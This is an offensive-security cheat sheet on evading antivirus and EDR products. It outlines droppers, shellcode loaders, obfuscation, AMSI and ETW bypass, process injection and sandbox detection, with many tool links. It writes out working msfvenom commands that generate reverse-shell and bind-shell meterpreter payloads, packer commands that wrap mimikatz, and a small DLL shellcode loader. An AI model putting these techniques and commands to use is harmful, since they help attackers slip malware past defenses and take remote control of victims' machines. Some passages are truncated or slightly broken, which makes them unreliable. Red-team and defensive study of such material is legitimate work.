Bypass AV/EDR

- Dropper
  - C++ — <https://blog.securityevaluators.com/creating-av-resistant-malware-part-1-7604b83ea0c0
  - C — https://github.com/reveng007/ReflectiveNtdll
- Manual loader
  - .1 allocating memory
    .2 moving shellcode into that memory
    .3 executing the shellcode
  - Crédits
    - @Jenaye_fr
    - LeDocteurDesBits
    - michmich1000
    - @Zabannn
  - Staged and stageless
    By definition, when we talk about staged we are referring to a payload in addition to a piece This means that there will be several actions (often 2) between the client and the server.

    If you use meterpreter, please use the following commands

    set EnableStageEncoding true;
    set StageEncoder x64/xor_dynamic;
- Automatic loader
  - C
    ```
    #include <iostream>
    #include <Windows.h>

    int main(void) {
      HMODULE hMod = LoadLibrary("shellcode.dll");
      if (hMod == nullptr) {
        cout << "Failed to load shellcode.dll" << endl;
      }

      return 0;
    }
    ```
  - C++
    - https://medium.com/securebit/bypassing-av-through-metasploit-loader-64-bit-9abe55e3e0c8
    - https://github.com/ReversingID/Shellcode-Loader/tree/master/windows
  - .NET — https://sevrosecurity.com/2019/05/25/bypass-windows-defender-with-a-simple-shell-loader/
- Generate shellcode
  - msfvenom
    - msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<SERVER> LPORT=<PORT> -f raw
    - msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f dll
    - msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai '\x00' -i 30 RHOST=10.0.0.68 LPORT=9050 -f c | tr -d '"' | tr -d '\n' | more
  - C2 (Cobalt/Havoc what ever)
  - ASM — https://nytrosecurity.com/2019/06/30/writing-shellcodes-for-windows-x64/
  - Hyperion — wine hyperion.exe /root/payloads/shellter/shellter_putty_reverse_x86.exe
  - C — https://vxug.fakedoma.in/papers/VXUG/Exclusive/FromaCprojectthroughassemblytoshellcodeHasherezade.pdf
- Manual obfuscation
  - Static
    - Packing — https://pentester.blog/?p=39
    - Polymorph — https://www.exploit-db.com/papers/13874
    - Signature hiding — https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates
    - CFG
      - ROP — https://improsec.com/tech-blog/bypassing-control-flow-guard-on-windows-10-part-ii
      - https://joshpitts.medium.com/hooking-control-flow-guard-cfg-for-fun-and-profit-31f951485545
      - https://citeseerx.ist.psu.edu/document?repid=rep1&type=pdf&doi=ade1cc22ee994c1b353326ae4cedccd29f33b8d0
      - CFG flattening — http://ac.inf.elte.hu/Vol_030_2009/003.pdf
    - Change logo/icon — https://learn.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/resources?redirectedfrom=MSDN
    - Change date of compilation
    - Bypass AMSI
      - https://rastamouse.me/memory-patching-amsi-bypass/
      - https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
      - https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/
    - Description
  - dynamic
    - Network
      - C2 by DNS
      - P2P (hide ip from C2)
      - HTTPS
    - Direct syscalls
      - https://medium.com/@merasor07/av-edr-evasion-using-direct-system-calls-user-mode-vs-kernel-mode-fad2fdfed01a
      - https://thewover.github.io/Dynamic-Invoke/
    - Delayed execution
      - WaitForSingleObjectEx — https://www.purpl3f0xsecur1ty.tech/2021/03/30/av_evasion.html
      - Foliage
      - Ekko — A small sleep obfuscation technique that uses CreateTimerQueueTimer Win32 API
      - Deathsleep — https://github.com/janoglezcampos/DeathSleep
    - Disable ETW — https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
    - DInvoke — https://github.com/TheWover/DInvoke
- Automatic obfuscation
  - Static
    - Packing
      - Office macro
        - https://github.com/sevagas/macro_pack
        - https://github.com/optiv/Ivy
      - https://github.com/phra/PEzor
      - https://github.com/klezVirus/inceptor
      - https://github.com/govolution/avet
      - https://github.com/Nariod/RustPacker
      - https://github.com/DavidBuchanan314/monomorph
      - https://github.com/upx/upx
      - https://github.com/EgeBalci/sgn/
    - AMSI Bypass
      - https://github.com/CCob/SharpBlock
      - https://github.com/danielbohannon/Invoke-Obfuscation
      - https://github.com/klezVirus/Chameleon
      - https://github.com/tokyoneon/Chimera
    - Signature hiding
      - https://github.com/optiv/ScareCrow — ScareCrow -l /Path/To/ShellCode -d facebook.com
      - https://github.com/paranoidninja/CarbonCopy
    - LOLBIN — RemComSvc — https://gist.github.com/snovvcrash/123945e8f06c71827698462656376fedb
    - Entropy — https://github.com/kleiton0x00/Shelltropy
  - Dynamic
    - Disable ETW
      - https://github.com/optiv/ScareCrow
      - https://gist.github.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32
      - https://github.com/Soledge/BlockEtw
      - https://github.com/CCob/SharpBlock
    - Indirect syscall
      - https://github.com/optiv/Freeze — Freeze -l /PathToShellcode -encrypt -sandbox -o packed.exe
      - https://github.com/phra/PEzor — PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
      - https://github.com/optiv/ScareCrow
      - https://github.com/klezVirus/SysWhispers3
      - https://github.com/jthuraisamy/SysWhispers2
    - Disable AV — https://github.com/APTortellini/unDefender
    - Block DLL — https://github.com/CCob/SharpBlock
    - Detect virtual machines — https://github.com/a0rtega/pafish

Pro tips : A shellcode sent in 3 open sources packer will have more chance to be caught than a manual obfuscation

https://evasions.checkpoint.com/techniques/timing.html#delayed-execution

- Process injection
  - CRT
    - with suspended
    - https://damonmohammadbagher.medium.com/bypassing-anti-virus-by-creating-remote-thread-into-target-process-45f145b2ac7a
  - APC (Asyncronous Procedure Call)
    - https://subscription.packtpub.com/book/security/9781789610789/8/ch08lvl1sec50/executing-the-inject-code-using-apc-queuing
    - https://github.com/LloydLabs/ntqueueapcthreadex-ntdll-gadget-injection
    - https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
  - Process hollowing
    - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocation
    - https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/
  - Thread execution hijacking — https://attack.mitre.org/techniques/T1055/003/
  - PSC (Ptrace System Calls)
  - Process Doppelganging — https://thehackernews.com/2017/12/malware-process-doppelganging.html
  - Dll injection
    - Reflective dll injection — https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
    - https://github.com/fancycode/MemoryModule
    - https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection
    - DLL Sideloading & Proxying — https://book.hacktricks.xyz/windows-hardening/windows-av-bypass#dll-sideloading-and-proxying
  - RWX — You put your region in RW, you write your shellcode, then you reprotect in RX, then you run the thread. This way your region is never in rwx
  - COM Hijack
    - https://www.mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/
    - https://0xpat.github.io/Abusing_COM_Objects/
  - Remote thread — https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
  - User APC — https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
- Detect virtual machines (Sandbox)
  - Software
    - Count processus number — if >=40 its probably not a VM
    - User interaction — Send MessageBoxW
    - Check for internet
    - Datetime on compilation
    - Check for Computer name — VM = DESKTOP-[0-9A-Z]{7}
  - Hardware
    - CPUID timing — https://github.com/CMEPW/bof-collection/blob/main/src/checkVM/checkVM2.c
    - Typical user workstation has a processor with at least 2 cores, a minimum of 2 GB of RAM and a 100 GB hard drive
  - OSX — https://evasions.checkpoint.com/techniques/macos.html#macos-sandbox-methods
  - Tools — https://github.com/a0rtega/pafish
- From PE to shellcode
  - https://github.com/S4ntiagoP/donut/tree/syscalls
  - https://github.com/hasherezade/pe_to_shellcode
  - https://github.com/monoxgas/sRDI
- From alive beacon
  - Havoc — dotnet (object file)
  - Cobalt — BoF (Beacon object file)
    - From .net to BoF — https://github.com/CCob/BOF.NET
    - https://github.com/trustedsec/CS-Situational-Awareness-BOF
- Extensions
  - Dll
  - Exe
  - Hta
  - Cpl
  - Link